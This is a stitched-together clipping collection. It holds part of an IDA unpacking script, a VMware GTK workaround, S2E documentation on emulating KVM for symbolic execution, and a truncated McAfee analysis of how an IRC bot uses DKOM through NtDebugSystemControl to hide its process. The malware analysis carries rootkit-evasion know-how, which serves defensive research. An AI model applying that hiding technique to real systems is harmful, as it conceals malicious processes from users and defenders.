                if (carry == 0) continue;
                if (ebx != 0) break;
                ebx = Dword(source);
                source = source + 4;
                carry = lt(ebx) ? 1 : 0;
                ebx = ebx * 2 + 1;
                if (carry == 1) break;
             }
    //loopend2_n2b
             ecx = ecx + 2;
          }
    //decompr_got_mlen_n2b
          carry = (ebp < 0xFFFFF300 || ebp >= 0) ? 1 : 0;
          ecx = ecx + 1 + carry;
          edx = dest + ebp;
          if (ebp > -4 && ebp < 0) {
    //loop3_n2b
             do {
                MakeUnkn(dest, 0);
                PatchByte(dest, 0);
                PatchByte(dest, Byte(edx));
                edx = edx + 1;
                dest = dest + 1;
                ecx = ecx - 1;
             } while (ecx != 0);
             continue;      
          }
    //decompr_copy4_n2b
          do {
             MakeUnkn(dest, 0);
             ensurePatch(dest, Dword(edx));   
             edx = edx + 4;
             dest = dest + 4;
             carry = (ecx & 0xFFFFFFFC) == 0 ? 1 : 0;
             ecx = ecx - 4;
          } while (carry == 0 && ecx != 0);
          dest = dest + ecx;
       }
    //decompr_end_n2b;
    //if (AskYN(0, "Done expanding, do fixup?") == 0) return;
    
       //the unpacking is complete, go back and fix up relative
       //jumps and references
       esi = code;
       edi = esi;
       al = 2;
       for (ecx = numFixes; ecx > 0; ecx--) {
          while (al > 1 || Byte(edi) != ediValue) {
             al = Byte(edi);
             edi = edi + 1;
             al = (al - 0xE8) & 0xFF;  //+= 0x18
          }
          eax = Dword(edi);
          bl = Byte(edi + 4);
          
          b1 = (eax >> 8) & 0xFF;
          b2 = (eax >> 16) & 0xFF;
          b3 = (eax >> 24) & 0xFF;
          eax = (b1 << 16) + (b2 << 8) + b3;
          eax = eax - edi;
          bl = (bl - 0xE8) & 0xFF;
          eax = eax + esi;
          MakeUnkn(dest, 0);
          ensurePatch(edi, eax);
          edi = edi + 5;
          al = bl;
       }
       return;
    }
    
    #define DATA_START 1
    #define CODE_START 6
    #define NUM_FIXUPS 0xD5
    #define EDI_GUESS 0xE3
    #define IMPORT_LIST 0x106
    #define IMPORT_TABLE 0x115
    
    //------------------------------------------------------------------------
    static main(void) {
      auto from,to,size,start;
      auto addr, last;
      auto dataGuess, codeGuess, fixUpGuess;
      auto importList, ediGuess, importTable;
      auto importTableLoc, importListLoc;
      
      start = LocByName("start");
      importListLoc = IMPORT_LIST;
      importTableLoc = IMPORT_TABLE;
      last = BADADDR;
      addr = FirstSeg();
      while (addr != BADADDR) {
        last = SegEnd(addr);
        addr = NextSeg(addr);
      }
      //Message("last address = %x\n", last);
    
      from = start;
      //guess where the compressed data starts
      dataGuess = GetOperandValue(start + DATA_START, 1);
      //guess where the data is to be unpacked to
      codeGuess = dataGuess + GetOperandValue(start + CODE_START, 1);
      //guess how many relative fixups we need to make
      fixUpGuess = GetOperandValue(start + NUM_FIXUPS, 1);
      //guess what value edi will be compared to in the fix up loop
      ediGuess = GetOperandValue(start + EDI_GUESS, 1);
      Message("dataGuess: %x, codeGuess: %x, fixUpGuess: %x\n", dataGuess, codeGuess, fixUpGuess);
      if (Byte(start + importListLoc) != 0x8D) {
         importListLoc = 0xD3;
         importTableLoc = 0xE2;
      }
      //guess where the list of imports begins
      importList = codeGuess + GetOperandValue(start + importListLoc, 1);
      //guess where the import jump table begins
      importTable = codeGuess + GetOperandValue(start + importTableLoc, 1);
      Message("importTable: %x, importList: %x, ediGuess: %x\n", importTable, importList, ediGuess);
    
    //  SegDelete(dataGuess, 0);
      decode(dataGuess, codeGuess, fixUpGuess, ediGuess);
    
      Message("Analyzing: %x..%x\n", codeGuess, last);
      AnalyseArea(codeGuess, last);
    //  if (AskYN(0, "Convert import table?") == 1) {
         imports(importList, codeGuess);
    //  }
      
    //  AnalyseArea(from, last);
    }
    
[/code]

<img src='img/Temp2_10679.png' width='24' height='24' />

# PicPaste - altenburg003.jpg

**Created:**| _8/21/2009 10:30:14 AM_  
---|---  
**Updated:**| _8/21/2009 10:30:26 AM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
<img src='img/Temp2_6240.jpg' width='400' height='389' alt='altenburg003.jpg'
/>

# VMware mouse grab/ungrab problem | LinuxInsight
**Created:**| _1/20/2012 8:00:11 PM_  
---|---  
**Updated:**| _1/20/2012 8:00:11 PM_  
**Author:**| __  
**Tags:**| _virtusalisation Lab-Setup_  
  

# VMware mouse grab/ungrab problem

Submitted by vmware on Mon, 2009-09-28 19:05

  * tips
  * vmware

If you upgrade GTK library to the newest 2.18 version \(comes with the new
Gnome 2.28\) your VMware Workstation 6.5.3 won't work well. Even if you have
"Grab when cursor enters window" option set, VMware won't grab your pointer
when you move mouse into the VMware window. Also, if you use ctrl-G to capture
the pointer, VMware window will release it as soon as you move mouse around a
little bit. Quite annoying behavior...

Fortunately, there's a simple workaround that can fix things until VMware
resolves incompatibilities with the new GTK library. VMware Workstation ships
with many standard libraries including libgtk, so the only thing you need to
do is to force it to use it's own versions. The simplest way to do that is to
add the following line to the end of the `/etc/vmware/bootstrap` configuration
file and restart the Workstation.  
`  
export VMWARE_USE_SHIPPED_GTK="force"  
`  
The interface will look slightly odd, because older version of GTK is being
used, but at least it will work properly.

# Symbolic Execution Extensions for KVM — S2E 2.0 documentation

**Created:**| _3/2/2019 6:40:10 PM_  
---|---  
**Updated:**| _3/2/2019 6:40:10 PM_  
**Author:**| _wishi_  
**Tags:**| _symbolic exec kvm_  
  

  

# Symbolic Execution Extensions for KVM¶

This document presents extensions to the Linux KVM virtualization interface
that enable building multi-path analysis tools, such as symbolic execution
engines. In a nutshell, we built `libs2e.so`, a shared library that implements
the S2E symbolic execution engine. This library can be preloaded into a target
hypervisor process. The library intercepts and emulates calls to `/dev/kvm` to
provide symbolic execution capabilities to vanilla hypervisors like QEMU.

We will \(1\) provide an overview of how KVM works, \(2\) show how to build a
library that emulates vanilla KVM using a dynamic binary translator as a CPU
emulation engine, \(3\) how to add symbolic execution capabilities on top of
that, and \(4\) provide a reference of the new KVM extensions so that you can
integrate S2E into your own hypervisors.

Contents

  * Symbolic Execution Extensions for KVM
    * Kernel-based Virtual Machine \(KVM\)
    * Emulating the KVM interface
      * Using system call hooks for emulation
      * Differences between actual KVM and KVM emulation
      * Summary
    * Adding symbolic execution capabilities to KVM
      * Multi-path execution
      * Handling symbolic data
    * Reference
      * Dynamic binary translation
      * Registering memory regions
      * Accessing guest memory
      * Interrupting execution
      * Virtual disk I/O
      * Saving/restoring device snapshots
      * Setting the clock scale pointer
      * KVM\_RUN exit codes

## Kernel-based Virtual Machine \(KVM\)¶

The Linux kernel exposes the KVM interface through the `/dev/kvm` file. A
program \(that we call a KVM client\) that wants to create a VM opens that
file and sends commands to it using the `ioctl` interface. The most important
commands are creating and setting the state of the virtual CPU
\(`KVM_CREATE_VM`, `KVM_CREATE_VCPU`, `KVM_SET_REGS` and its friends\),
registering guest physical memory \(`KVM_SET_USER_MEMORY_REGION`\), starting
the VM \(`KVM_RUN`\), and injecting interrupts in the guest
\(`KVM_INTERRUPT`\). A detailed list of commands is available in the Linux
kernel documentation. The figure below shows the architecture of a standard
KVM setup.

<img src='img/Temp2_7806.png' width='75%' height='296'
alt='../_images/kvm_interface.svg' />

It is up to the KVM client \(running in user space\) to emulate virtual
hardware, as the KVM kernel driver only provides a virtual CPU. The clients
are responsible for handling I/O, memory-mapped I/O, injecting interrupts in
the guest, and performing DMA. During initialization, the client first
allocates a chunk of virtual memory using the plain `mmap()` system call, then
registers this memory as guest physical memory using
`KVM_SET_USER_MEMORY_REGION`. KVM treats any memory access that falls outside
registered regions as memory-mapped I/O.

When the guest executes an instruction that accesses unmapped physical memory,
`KVM_RUN` returns to the client, which determines the type of I/O access and
emulates it accordingly. For example, when a guest instruction writes to
physical address `OxB8000` the following occurs:

  * The virtual CPU \(VCPU\) attempts to access that memory and realizes that it is unmapped
  * The VCPU triggers a VM exit, giving control back to the KVM driver
  * KVM determines the cause of the VM exit and returns to user space from the KVM\_RUN call
  * The client reads the faulting guest physical address and determines the associated virtual device
  * The client calls the I/O handler of the VGA virtual device, which eventually displays a character in the upper left corner of the screen.
  * Once the I/O emulation is done, the client resumes the guest VM by calling `KVM_RUN` again.

The KVM client injects interrupts in the guest using the `KVM_INTERRUPT`
ioctl. Let us take the example of a virtual clock device. This kind of device
would typically trigger a periodic interrupt, e.g., every 10 ms. In order to
emulate it, the client process registers a periodic timer signal handler with
the host OS. At the lowest level, the host OS configures the host machine’s
clock to generate periodic host interrupts. When a host interrupt occurs, the
host CPU automatically interrupts the running guest VM, context switches to
the host OS, which then delivers the timer signal to the client process. The
client then calls the virtual clock device emulation code, which then uses
`KVM_INTERRUPT` to inject the virtual interrupt into the guest. At the next
invocation of `KVM_RUN`, the host CPU reloads the guest context and triggers
the guest’s interrupt handler.

The KVM client also handles DMA. Remember that during initialization, the
client mapped host virtual memory in its address space, which it then
instructed to be used as guest physical memory by KVM. A virtual device
handler would just read and write to that mapped host virtual memory in order
to exchange data with the guest VM. It can do so from another thread while the
guest VM is running, or from the same thread when the guest VM is interrupted
by a signal and control is returned to the client.

The above is the minimum required to run a guest such as Windows: a virtual
CPU and a collection of virtual devices. KVM implements many more features
that can be optionally used. It has hypercalls, nested virtualization, various
MSRs, etc. KVM provides an interface to verify which features are available
\(called capabilities\). For more details, refer to the various KVM
documentation files in the Linux source tree. You can also browse QEMU’s
source code to understand which KVM features it uses. Finally, there is a
great article here that explains in detail how to write your own KVM client
from scratch.

## Emulating the KVM interface¶

KVM is great for running code at native speeds, but what if we actually want
to do some advanced analysis on the guest code? What if we want to instrument
it? One common method for doing that is to use dynamic binary translation. The
dynamic binary translator \(DBT\) takes a chunk of guest code, disassembles
it, injects instrumentation code, reassembles it, then runs the result on the
host CPU. QEMU comes with a powerful DBT that can be used instead of KVM to
run the guest OS. One could take QEMU and modify its DBT in order to analyze
guest code. An alternative to this is to write a CPU emulator, wrap it under
the KVM interface, and let QEMU use it transparently.

Emulating the KVM interface allows decoupling the CPU emulation and code
instrumentation infrastructure from virtual hardware emulation. This is very
powerful, as one is not stuck anymore with a given KVM client implementation.
The client can live on its own and upgrading it becomes straightforward. For
example, the first prototype of S2E released back in 2011 was tightly coupled
to QEMU and was de facto stuck with the QEMU version of that time \(v1.0\).
The current version of S2E however emulates the KVM interface and is not tied
to any particular client. In fact, upgrading from QEMU 1.0 to QEMU 3.0 was
fairly straightforward, despite over six years separating these two versions.

### Using system call hooks for emulation¶

There are different ways in which one can implement a KVM-compatible CPU
emulator. We chose to take the DBT implemented by QEMU and refactor it into a
standalone user-space library. The advantage of this compared to building our
own emulation is that we get the maturity and performance of QEMU’s DBT, with
only a small overhead incurred by the indirection of the KVM interface.
Overall, it took about six person-month to refactor the code, most of it was
the tedious task of moving code around. We will explain the process in details
later below.

Our KVM CPU emulator comes as a user-space shared library that can be loaded
into the KVM client using `LD_PRELOAD`. The library intercepts the `open` and
`ioctl` system calls to `/dev/kvm`, as well as `mmap` and a few others. The
`open` hook checks that the file name is `/dev/kvm`, and if so, returns a fake
handle that will be later checked and intercepted by the `ioctl` and other
system call hooks. We could also have replaced the KVM driver itself and
provided a kernel-mode version of this library, but this would have caused
needless complexity and unnecessary switches to kernel mode.

We refer to the real KVM driver that ships with the Linux kernel as _native
KVM_ and to our DBT-based emulation of KVM as _emulated KVM_ , implemented by
the _KVM emulation engine_.

### Differences between actual KVM and KVM emulation¶

Implementing a KVM-compatible interface poses several challenges. In theory,
there should be no difference between the native KVM implementation and a DBT-
based one, except for speed \(and of course different CPU features\). A proper
implementation of the emulated KVM should give the same outputs for identical
inputs \(CPU state, interrupts, etc.\). In practice however, due to how the
DBT works, there are some differences. The most important one is the
significant delay with which the DBT handles injected guest interrupts. This
may cause problems for some guest OSes. A lesser problem is the inconsistent
state of the emulated CPU when handling I/O operations. This only matters if
the KVM client reads the CPU state while handling I/O \(e.g., VAPIC emulation
in QEMU\).

The first difference between actual KVM and KVM emulation is the interrupt
injection delay. The virtualization hardware on the host CPU triggers a VM
exit as soon as there is an external interrupt sent to the host \(timer,
network, etc\). It also triggers a VM exit as soon as the guest unmasks
interrupts \(e.g., by writing to APIC registers or executing the `sti`
instruction\) and there are pending interrupts \(injected by the client with
`KVM_INTERRUPT`\). All this happens without delays at instruction granularity.
In contrast, emulated KVM is much slower to react to these events. In the
worst case, the delays may starve lower priority interrupts, causing hangs.
Some guests may even crash if interrupts come too late \(e.g., there is a
timer DPC in the Windows XP kernel that is wrongly allocated on the stack,
which causes a crash if the interrupt happens too late, i.e., after the stack
is cleaned\).

For performance reasons, the DBT cannot check interrupts at every instruction.
Instead, it checks them at control flow change boundaries, i.e., when there is
an instruction that modifies the program counter. When the DBT enables
translation block chaining \(a technique that speeds up emulation by running
translated code continuously without calling the DBT\), pending interrupts are
not checked at all and it is up to the KVM client to break the translation
block chain when there is a pending interrupt. Unfortunately, native KVM does
not provide a standard API for that and the most reliable way we found to
handle this is to add an additional `KVM_FORCE_EXIT` call which the client
would invoke when there are pending interrupts.

The second difference is the imprecise state on device I/O. When native KVM
returns from `KVM_RUN` because the guest executed an I/O instruction, the
guest CPU’s program counter points to the next instruction. In emulated KVM,
however, the program counter can point to some previous instruction close by.
This is because the DBT does not update the program counter after each
instruction, for performance reasons. Instead, the DBT updates it at the next
control flow change \(i.e., when the guest explicitly sets the program
counter\), or when there is an exception.

This is not a problem unless the KVM client reads the CPU state when handling
I/O. On QEMU, this seems to only matter for VAPIC emulation. OSes like Windows
heavily read and write the APIC’s Task Priority Register \(TPR\). This may
trigger an excessive amount of CPU exits and kernel-user mode switches,
slowing down the guest considerably. To solve this, QEMU patches the guest to
replace the I/O instruction that accesses the TPR with a call to BIOS code
that emulates the APIC’s TPR without causing a VM exit. To do this patching,
QEMU checks the instruction pattern at the program counter that accessed the
VAPIC. If this program counter is wrong \(like in emulated KVM\), patching
will fail. We extended the KVM interface with the `KVM_CAP_DBT` flag to
disable the VAPIC when emulated KVM is present. Disabling it does not cause
noticeable slowdowns because there are no kernel-user mode switches involved
anyway.

### Summary¶

To summarize, we implemented a shared library that hooks KVM calls in order to
emulate the KVM interface. The library uses DBT-based CPU emulation. In order
to accommodate for shortcomings of the DBT-based method, we added two
extensions to KVM: `KVM_CAP_DBT` and `KVM_FORCE_EXIT`. The first is a
capability that signals to the KVM client the presence of a DBT-based
implementation so that it can adjust its behavior accordingly. The second
allows faster interrupt injection. We do not believe that these two extensions
are fundamental, they could probably be eliminated with a better engineering
of the CPU emulator.

## Adding symbolic execution capabilities to KVM¶

In the previous section, we have seen how to build a KVM emulation engine out
of a DBT that only supports one execution path and no symbolic data. In this
section, we will show how to extend that engine as well as the KVM interface
in order to support symbolic execution. We will primarily focus on the KVM
interface, treating the symbolic execution engine itself as a black box. The
design and implementation of the symbolic execution engine will be covered in
another write up.

Before we begin, let us recap how symbolic execution works. Programs take
inputs, perform some computations on them, and generate some output. If there
is a conditional branch, such as `if (x + 2) ... else ...`, the predicate is
evaluated and one or the other branch is executed. During normal execution
\(e.g., when running on a normal CPU\), all inputs have a concrete value
\(e.g., `x=1` or `x=12`\) and exercise only one path at a time on each run.
Symbolic execution replaces the concrete inputs with symbols \(e.g., `x=λ`\)
and builds symbolic expressions \(e.g., `λ + 2`\) as the program executes.
When a symbolic expression reaches a conditional branch, the engine calls a
constraint solver to determine which branch to follow. In case both outcomes
are feasible, the engine splits the current execution path in two by taking a
snapshot of the system state \(CPU, RAM, devices\) and then executes each path
independently. Each path also gets a constraint \(e.g., `λ + 2 != 0` and `λ +
2 == 0`\) so that the constraint solver can remember where execution came from
and compute concrete outputs when execution terminates.

A symbolic execution engine can be decomposed in two main components: one that
enables multi-path execution and another one that handles symbolic data
storage and propagation. Hypervisors such as QEMU of VMware already let users
take as many snapshots as they want. These snapshots include CPU, memory, as
well as device state. Multi-path execution requires the ability to quickly
create lightweight whole-system snapshots and be able to switch between them
at any time. On top of that, a symbolic execution engine adds the ability to
store symbolic data in the snapshots and perform computations on that symbolic
data.

### Multi-path execution¶

The hypervisor needs to be aware of multi-path execution. A vanilla hypervisor
normally runs a single path at a time and all guest memory accesses go to a
fixed area of host virtual memory, all disk accesses go to the same file, etc.
In multi-path mode, however, it is necessary to redirect these addresses to
_per-path_ storage. In other words, each execution path would have its own
area of virtual memory, disk storage, and even device state. Furthermore, this
must be done efficiently using copy-on-write, as each path can have several
gigabytes of state.

One approach to solve this is to add several extensions to the KVM interface.
The extensions include a call to read/write memory, a call to read/write the
virtual disk, and a callback to save and restore device state. The purpose of
these calls is to redirect disk or DMA accesses done by the hypervisor’s
virtual devices to per-state storage. This level of indirection allows keeping
the KVM emulation engine decoupled from the hypervisor, which does not need to
be aware of the mechanics of how snapshots are stored, how copy-on-write is
implemented, etc. This is all done by the symbolic execution engine. We will
present next each call individually.

The first extension lets the hypervisor specify memory regions that must be
saved in the system snapshot. During initialization, immediately after the
hypervisor maps guest physical memory, it must now invoke the
`KVM_CAP_MEM_FIXED_REGION` API, specifying the host virtual address and the
size of the allocated region. The KVM emulation engine uses this information
to initialize per-state storage for that memory region, copy any data from the
original mapped region, then forbid access to that region. The hypervisor
cannot dereference the original memory anymore and must instead call
`KVM_CAP_MEM_RW`, which we will introduce next.

The second extension implements memory accesses. When the hypervisor needs to
access guest physical memory \(e.g., when performing DMA\), instead of
directly dereferencing a pointer to that memory, it must now invoke the
`KVM_CAP_MEM_RW` API. This call takes as parameters a source and destination
pointer, the direction of the transfer \(read/write\), and the length. The
symbolic execution engine uses this information to lookup the actual per-state
data associated with the given host virtual address and returns \(or writes\)
the requested data.

Finally, a few extensions are needed to manage the disk and device state.
Instead of accessing the virtual disk file using read or write system calls,
the hypervisor must now call `KVM_DISK_RW`. Handling device state is a bit
different: instead of intercepting reads/and writes to every byte of the
device state \(which would be completely impractical\), the symbolic execution
engine leverages the hypervisor’s ability to save and restore device state
to/from a file. However, instead of using a file, the hypervisor calls the
`KVM_DEV_SNAPSHOT` API. This call is only required when forking or switching
to a new execution path. You can find more details about these APIs in the
reference below.

Note

You may be wondering if these multi-path extensions are necessary. The short
answer is no. If we can find a system-level approach to managing the state
\(vs. manually inserting indirections in the code\), then we do not need them
anymore. For example, it is possible to use the `fork()` system call of the
host in order to create a new execution path \(but this is prohibitively
expensive, as there would be one hypervisor process per path\), or implement
lightweight system snapshots by tweaking the page tables of the host \(see
Dune \[OSDI‘12\] and Hummingbird \[HOTOS‘13\]\). We plan to port S2E to the
latter approach, which would bring many more benefits besides simplified APIs
\(e.g., much faster state snapshotting and state switching\).

### Handling symbolic data¶

To keep things simple, we decided that symbolic data cannot leak into the KVM
client and therefore the KVM API does not need support for symbolic data
exchange. We observed that symbolic data does not usually propagate through
this interface: QEMU does not normally read CPU registers or memory locations
that contain symbolic data. Likewise, data exchanged between the guest and the
virtual devices is concrete. In cases where symbolic data does leak, the KVM
emulation engine concretizes it. Here is what happens when a program tries to
print a string containing symbolic characters:

>   * The program running in the guest calls `printf("%s", buf);` where `buf`
> has one or more symbolic characters.
>   * `printf` formats the string into a temporary buffer \(which now has
> symbolic characters too\), then issues a `write` system call with the
> address of that temporary buffer and the file descriptor of the console as a
> parameter.
>   * The kernel forwards the `write` request to the console driver.
>   * The console driver writes each character to the video memory.
>   * The KVM emulation engine determines that the write requires a VM exit to
> the hypervisor because the address points to a memory-mapped I/O region. The
> engine also checks whether the instruction has symbolic data in its data
> operand and if yes, concretizes the symbolic data before calling the
> hypervisor, which sees the concrete value. Concretization adds a path
> constraint to ensure correct symbolic execution when control is passed back
> to the program.
>

Restricting the KVM interface to concrete data brings massive simplifications
to the system. There is no need to rewrite a potentially large and complex
hypervisor to support symbolic data. And in practice, simply redirecting the
program’s output to `/dev/null` or a symbolic file in a RAM disk is enough to
work around most concretizations issues \(e.g., when symbolic data is written
to the console or the virtual disk\). Of course, one may want to symbolically
execute virtual devices \(e.g., when testing device drivers\). The solution
for this is to write a symbolic device model, which we leave out for another
tutorial.

## Reference¶

This section explains in detail the new KVM extensions that a KVM client
should support in order to be compatible with the KVM emulation engine. Each
command is described as follows:

  * Command: indicates the name of the command.
  * Capability: indicates the KVM capability that signals the presence of that command.
  * Requirement: indicates when that capability/command must be supported. Some commands are only required for multi-path execution, some are required in all cases.
  * Any associated data structures. These are passed along the command identifier to the `ioctl` system call.
  * The command description.

Note

Here is a pointer to S2E’s source code where you can find the implementation
of all these extensions. libs2e.c is the main entry point of the `libs2e.so`
shared library. This module intercepts IOCTLs to `/dev/kvm` and forwards them
to the appropriate handlers. If you are lost in the 90 KLOC that comprise
`libs2e.so`, just start from this file and work your way up to the other
components. This should help you get started hacking\!

### Dynamic binary translation¶

Command | N/A  
---|---  
Capability | KVM\_CAP\_DBT  
Requirement | Mandatory for any KVM emulation engine that uses DBT  
This capability indicates to the client that the underlying KVM implementation
uses dynamic binary translation instead of actual hardware virtualization.
Until the KVM emulation engine perfectly mimics the native KVM interface, this
capability allows the client to adjust its behavior to support the KVM
emulation engine.

### Registering memory regions¶

Command | KVM\_MEM\_REGISTER\_FIXED\_REGION  
---|---  
Capability | KVM\_CAP\_MEM\_FIXED\_REGION  
Requirement | 
  * Mandatory for a KVM emulation engine that supports multi-path execution
  * Optional for single-path implementations

[code]

    struct kvm_fixed_region {
        const char *name;
        __u64 host_address;
        __u64 size;
    
        #define KVM_MEM_SHARED_CONCRETE 1
        __u32 flags;
    };
    
[/code]  
The KVM client must call this API after it allocates guest physical memory
\(either RAM or ROM\) in order to register them with the KVM emulation engine.
The client must register all memory regions before calling `KVM_RUN`. The
client must not later pass to `KVM_SET_USER_MEMORY_REGION` any region \(or
part thereof\) that has not been previously registered with
`KVM_MEM_REGISTER_FIXED_REGION`.

This API lets the KVM emulation engine register internal data structures that
will track later accesses done with `KVM_MEM_RW`. After this API return, the
memory chunk specified by `host_address` and `size` becomes read and write-
protected. The client must not access it directly anymore and must always use
`KVM_MEM_RW` instead. Protecting the region is helpful to catch any stray
accesses and help with debugging.

The `KVM_MEM_SHARED_CONCRETE` flag specifies whether the given memory chunk
may be shared among all execution paths. This is useful for video memory,
which is typically write-only and whose state does not matter for correct
guest execution \(i.e., different execution paths clobbering each other’s
frame buffers has usually no bad effect on execution correctness as long as
guest code does not read that data back\).

### Accessing guest memory¶

Command | KVM\_MEM\_RW  
---|---  
Capability | KVM\_CAP\_MEM\_RW  
Requirement | Mandatory for all KVM emulation engine implementations
[code]

    struct kvm_mem_rw {
        /* source and dest are always host pointers */
        __u64 source;
        __u64 dest;
        __u64 is_write;
        __u64 length;
    };
    
[/code]  
This capability signals to the KVM client that the KVM emulation engine
requires the KVM client to perform all accesses to physical memory through the
`KVM_CAP_MEM_RW API`. For single-path emulators, this is required to properly
flush CPU’s code cache in case DMA touches memory that contains code. For
multi-path emulators, this also ensures that data is read/written from/to the
correct execution state.

### Interrupting execution¶

Command | KVM\_FORCE\_EXIT  
---|---  
Capability | KVM\_CAP\_FORCE\_EXIT  
Requirement | Mandatory for KVM emulation engine implementations that cannot respond quickly to interrupt injection  
This capability signals to the KVM client that the KVM emulation engine cannot
return from KVM\_RUN quickly enough \(e.g., when there are signals present\).
A KVM client must call `KVM_FORCE_EXIT` when it would otherwise want KVM\_RUN
to exit and when `KVM_CAP_FORCE_EXIT` is present.

### Virtual disk I/O¶

Command | KVM\_DISK\_RW  
---|---  
Capability | KVM\_CAP\_DISK\_RW  
Requirement | 
  * Mandatory for a KVM emulation engine that supports multi-path execution
  * Optional for single-path implementations or when the client does not support virtual disks

[code]

    struct kvm_disk_rw {
        /* Address of the buffer in host memory */
        __u64 host_address;
        /* 512-byte sectors */
        __u64 sector;
        /* input: sectors to read/write, output: sectors read/written */
        __u32 count;
        __u8 is_write;
    };
    
[/code]  
The KVM client must invoke this command when it otherwise would write disk
data to a file. The KVM emulation engine takes the disk data specified in the
`kvm_disk_rw` structure and store it in a location that is associated with the
current execution path. If the client fails to invoke this command while in
multi-path execution, the disk state would be shared by all execution paths,
leading to virtual disk corruption, as the different paths would clobber each
other’s disk data.

In practice, KVM clients should implement copy-on-write mechanisms. In case of
reads, the client must call first `KVM_DISK_RW` to get any dirty sectors, and
if there are none, read from the underlying image file. In case of writes, the
client should directly call `KVM_DISK_RW` with the modified sector data.

### Saving/restoring device snapshots¶

Command | KVM\_DEV\_SNAPSHOT  
---|---  
Capability | KVM\_CAP\_DEV\_SNAPSHOT  
Requirement | 
  * Mandatory for a KVM emulation engine that supports multi-path execution
  * Optional for single-path implementations

[code]

    struct kvm_dev_snapshot {
        __u64 buffer;
        /* If is_write == 0, indicates expected size in case of error */
        __u32 size;
    
        /* Only when is_write == 0, indicates the position from which reading the state */
        __u32 pos;
        __u8 is_write;
    };
    
[/code]  
This command should only be called when KVM\_RUN returns the
`KVM_EXIT_SAVE_DEV_STATE` or `KVM_EXIT_RESTORE_DEV_STATE` exit code.

When saving a device snapshot \(`is_write = 1`\), only `buffer` and `size` are
valid. `buffer` must point to a host virtual address containing the state of
all virtual devices. The KVM client must call `KVM_DEV_SNAPSHOT` only once.
The call returns the number of bytes written, which should be equal to `size`.

When restoring a device snapshot \(`is_write = 0`\), the commands allows
reading any range of snapshot data previously saved. `pos` and `size` must be
set to read the desired chunk of data. The KVM client must call
`KVM_DEV_SNAPSHOT` multiple times. The call returns the number of bytes
effectively read, which may be smaller than `size` in case the specified range
exceeds the amount of data in the snapshot.

### Setting the clock scale pointer¶

Command | KVM\_SET\_CLOCK\_SCALE  
---|---  
Capability | KVM\_CAP\_CPU\_CLOCK\_SCALE  
Requirement | 
  * Mandatory when the overhead of the KVM emulation engine is large
  * Optional otherwise

  
This command communicates to the KVM emulation engine the address of a
variable that contains the clock scale. The address must be in the KVM
client’s address space. The KVM client must honor this factor as soon as
possible, typically the next time a virtual device calls a time-related
function \(e.g., to schedule a timer interrupt\).

The clock scale is an integer that specifies by what factor the client must
slow down the guest’s virtual clock. A factor of one indicates no slow down
\(real-time\). A factor of two indicates that the client must run its clock
two times slower than real-time. In other words, for every second of elapsed
time seen by the guest, the wall time would have advanced by two seconds.

The KVM emulation engine sets the clock scale when it performs slow
operations, e.g., interpreting LLVM instructions in the symbolic execution
engine. This may be several orders of magnitude slower than real-time
\(100-1000x clock scale factor\). Failing to set the factor accordingly would
cause the client to inject timer interrupts too frequently, preventing any
progress of the guest.

### KVM\_RUN exit codes¶

When the KVM\_RUN command exits, it indicates to the KVM client the reason of
the exit in the form of an exit code. In addition to the standard codes, the
KVM emulation engine adds the following exit codes. They should be implemented
by any client that supports multi-path execution.

`KVM_EXIT_FLUSH_DISK`

> This exit code indicates to the client that it must flush any buffers
> associated with virtual disks. The client should call `KVM_DISK_RW` in order
> to flush any in-progress transfers before invoking `KVM_RUN` again.
> The KVM emulation engine returns this code when it is ready to fork a new
> execution path or in any other case where it needs the disk state to be
> consistent.
> Implementing this code is optional if the client does not support virtual
> disks.
`KVM_EXIT_SAVE_DEV_STATE`

> This exit code indicates to the client that it must take a snapshot of all
> virtual devices and send the snapshot data to the KVM emulation engine using
> the `KVM_DEV_SNAPSHOT` command.
> The KVM emulation engine returns this code when it is ready to fork a new
> execution path or wants to switch to another execution path. In either case,
> it needs the virtual device state to be committed to the per-state storage
> before continuing.
`KVM_EXIT_RESTORE_DEV_STATE`

> This exit code indicates to the client that it must restore a snapshot of
> all virtual devices after reading the snapshot data from the KVM emulation
> engine by using the `KVM_DEV_SNAPSHOT` command.
> The KVM emulation engine returns this code when it wants to switch to
> another execution path and needs the client to restore the associated
> virtual device state.
`KVM_EXIT_CLONE_PROCESS`

> This exit code indicates to the KVM client that it must re-initialize the
> state of all its threads.
> The KVM emulation engine returns this code after it calls the `fork()`
> system call in order to create a new instance of the emulator. In this new
> instance, there is only one thread \(the one that called `fork()`\). The
> client must ensure that before calling KVM\_RUN again, the new process
> instance is completely independent from the parent one and can run on its
> own. In particular, the client must close and re-open any file descriptors
> that `fork()` would otherwise share with the parent.
  

# Computer Security Research - McAfee Labs Blog

**Created:**| _12/16/2009 8:31:49 AM_  
---|---  
**Updated:**| _12/16/2009 8:31:59 AM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis_  
  

## DKOM Opens Door to Malware Rootkits

Tuesday December 15, 2009 at 3:01 pm CST  
Posted by **Romain Levy**

No Comments  
Trackback

Much malware comes with a kernel rootkit component. Subverting the Windows
kernel is indeed the best way to conceal malicious activities on infected
systems. To achieve this, many types of malware load malicious device drivers
that enjoy full access to all kernel objects. However, this technique is
somewhat noisy, and loading a new driver is not really stealthy.

At McAfee Labs we recently ran across a W32/IRCBot.gen.ac sample that uses
Direct Kernel Object Manipulation \(DKOM\) to hide itself without loading a
new driver. This technique seems impossible at first sight because modifying
kernel memory pages from userland is not allowed. However, W32/IRCBot.gen.ac
takes advantage of an undocumented function exported by ntdll.dll that
provides debugging functionalities at the kernel level.

**NtDebugSystemControl\(\),** despite being undocumented, has been known for
many years. It provides simple functions such as reading from and writing to
any location within the kernel memory. And this is exactly what a piece of
malware needs to manipulate kernel objects.

W32/IRCBot.gen.ac starts by checking what version of Windows it’s running on.
This technique won’t work under Windows Vista or Windows 7. If the infected
machine is not running Windows XP, W32/IRCBot.gen.ac gives up and doesn’t try
to hide itself.

<img src='img/Temp2_1572.jpg' />

If it does find WIndows XP, W32/IRCBot.gen.ac opens the current process’ token
to ensure it has the SeDebugPrivilege, which is required to call
NtDebugSystemControl\(\).

<img src='img/Temp2_1571.jpg' />

To find the process list in the kernel memory, W32/IRCBot.gen.ac retrieves the
address of the global variable PsInitialSystemProcess, which points to the
EPROCESS structure of the system process.

<img src='img/Temp2_1573.jpg' />

W32/IRCBot.gen.ac can now find the process list in memory and go through it to
find its own process. It then removes itself from the process list by calling
NtDebugSystemControl\(\) to write to kernel memory.

<img src='img/Temp2_1569.jpg' />

The malicious process is no longer visible in the Windows Task Manager or
